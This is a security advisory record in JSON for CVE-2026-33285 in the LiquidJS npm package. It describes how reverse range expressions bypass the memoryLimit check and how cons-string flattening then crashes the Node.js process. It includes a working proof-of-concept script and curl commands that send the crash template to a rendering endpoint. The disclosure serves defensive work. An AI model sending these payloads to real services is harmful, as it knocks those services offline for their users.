{"id":"GHSA-9r5m-9576-7f6x","summary":"LiquidJS: memoryLimit Bypass through Negative Range Values Leads to Process Crash","details":"### Summary\n\nLiquidJS's `memoryLimit` security mechanism can be completely bypassed by using reverse range expressions (e.g., `(100000000..1)`), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., `replace` filter), this causes a **V8 Fatal error that crashes the Node.js process**, resulting in complete denial of service from a single HTTP request.\n\n### Details\nWhen LiquidJS evaluates a range token `(low..high)`, it calls `ctx.memoryLimit.use(high - low + 1)` in `src/render/expression.ts:70` to account for memory usage. However, for reverse ranges where `low \u003e high` (e.g., `(100000000..1)`), this computation yields a negative value (`1 - 100000000 + 1 = -99999998`).\n\nThe `Limiter.use()` method in `src/util/limiter.ts:11-14` does not validate that the `count` parameter is non-negative. It simply adds `count` to `this.base`, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured `memoryLimit` pass the `base + count \u003c= limit` assertion.\n\n```typescript\n// src/render/expression.ts:67-72\nfunction * evalRangeToken (token: RangeToken, ctx: Context) {\n  const low: number = yield evalToken(token.lhs, ctx)\n  const high: number = yield evalToken(token.rhs, ctx)\n  ctx.memoryLimit.use(high - low + 1)  // high=1, low=1e8 → use(-99999999)\n  return range(+low, +high + 1)\n}\n\n// src/util/limiter.ts:11-14\nuse (count: number) {\n  count = +count || 0\n  assert(this.base + count \u003c= this.limit, this.message)\n  this.base += count  // base becomes negative\n}\n```\n\n#### Escalation to Process Crash via Cons-String Flattening\n\nV8 optimizes string concatenation (`append` filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means `{% assign s = s | append: s %}` repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.\n\nHowever, when a filter that requires the full string buffer is applied — such as `replace` — V8 must \"flatten\" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a **V8 C++ level Fatal error** (`Fatal JavaScript invalid size error 134217729`) that:\n\n- **Cannot be caught** by JavaScript `try-catch` or `process.on('uncaughtException')`\n- **Immediately terminates** the Node.js process (exit code 133 / SIGTRAP)\n- **Crashes the entire service**, not just the attacking connection\n\nThe complete attack chain:\n1. Insert 5 reverse ranges `{% for x in (100000000..1) %}{% endfor %}` → memory budget becomes -500M\n2. Build a 134MB cons-string via 27 iterations of `{% assign s = s | append: s %}`  → negligible actual memory\n3. Apply `{% assign flat = s | replace: 'A', 'B' %}` → V8 attempts to flatten → **Fatal error → process crash**\n\nThe attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.\n\n### PoC\n- LiquidJS \u003c= 10.24.x with `memoryLimit` option enabled\n- Attacker can control Liquid template source code \n\n\nSave the following as `poc_memorylimit_bypass.js` and run with `node poc_memorylimit_bypass.js`:\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\n(async () =\u003e {\n  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit\n\n  // Step 1 — Baseline: memoryLimit blocks large allocation\n  console.log('=== Step 1: Baseline (should fail) ===');\n  try {\n    const baseline = \"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n    const result = await engine.parseAndRender(baseline);\n    console.log('Result:', result); // Should not reach here\n  } catch (e) {\n    console.log('Blocked:', e.message); // \"memory alloc limit exceeded\"\n  }\n\n  // Step 2 — Bypass: reverse ranges drive counter negative\n  console.log('\\n=== Step 2: Bypass (should succeed) ===');\n  try {\n    const bypass = \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\";\n    const result = await engine.parseAndRender(bypass);\n    console.log('Result:', result); // \"134217728\" — 134MB allocated despite 100MB limit\n  } catch (e) {\n    console.log('Error:', e.message);\n  }\n\n  // Step 3 — Process crash: cons-string flattening via replace\n  console.log('\\n=== Step 3: Process crash (node process will terminate) ===');\n  console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.');\n  try {\n    const crash = [\n      ...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'),\n      \"{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}\",\n      \"{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}\"\n    ].join('');\n    const result = await engine.parseAndRender(crash);\n    console.log('Result:', result); // Should not reach here\n  } catch (e) {\n    console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable\n  }\n})();\n```\n\n**Expected output:**\n\n```\n=== Step 1: Baseline (should fail) ===\nBlocked: memory alloc limit exceeded, line:1, col:43\n\n=== Step 2: Bypass (should succeed) ===\nResult: 134217728\n\n=== Step 3: Process crash (node process will terminate) ===\nIf the process exits here with code 133/SIGTRAP, the crash is confirmed.\n#\n# Fatal error in , line 0\n# Fatal JavaScript invalid size error 134217729\n#\n```\n\nThe process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and **cannot be caught** by `try-catch`, `process.on('uncaughtException')`, or any JavaScript error handler.\n\n#### HTTP Reproduction (for applications that accept user templates)\n\nIf the application exposes an endpoint that renders user-supplied Liquid templates with `memoryLimit` configured (e.g., CMS preview, newsletter editor, etc.):\n\n```bash\n# Step 1 — Baseline: should return \"memory alloc limit exceeded\"\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}'\n\n# Step 2 — Bypass: should return \"134217728\" (134MB allocated despite 100MB limit)\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}\"}'\n\n# Step 3 — Process crash: connection drops, server process terminates\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\\''A'\\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\\''A'\\'', '\\''B'\\'' %}{{ flat | size }}\"}'\n```\n\nReplace `http://\u003capp\u003e/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.\n\n### Impact\nAn attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the `memoryLimit` protection entirely and crash the Node.js process:\n\n- **Complete bypass of the `memoryLimit` security mechanism**: The explicitly configured memory limit becomes ineffective.\n- **Process crash from a single HTTP request**: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception.\n- **Service-wide denial of service**: All in-flight requests are terminated. Manual restart or container restart policy is required to recover.\n- **False sense of security**: Administrators who configured `memoryLimit` believe their service is protected when it is not.\n- **Container restart policy does not mitigate**: Even with Docker `restart: always` or Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.","aliases":["CVE-2026-33285"],"modified":"2026-03-30T14:05:46.450291Z","published":"2026-03-25T17:40:53Z","database_specific":{"nvd_published_at":"2026-03-26T01:16:27Z","cwe_ids":["CWE-20","CWE-400"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-25T17:40:53Z"},"references":[{"type":"WEB","url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-9r5m-9576-7f6x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33285"},{"type":"WEB","url":"https://github.com/harttle/liquidjs/commit/95ddefc056a11a44d9e753fd47a39db2c241e578"},{"type":"PACKAGE","url":"https://github.com/harttle/liquidjs"}],"affected":[{"package":{"name":"liquidjs","ecosystem":"npm","purl":"pkg:npm/liquidjs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"10.24.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-9r5m-9576-7f6x/GHSA-9r5m-9576-7f6x.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}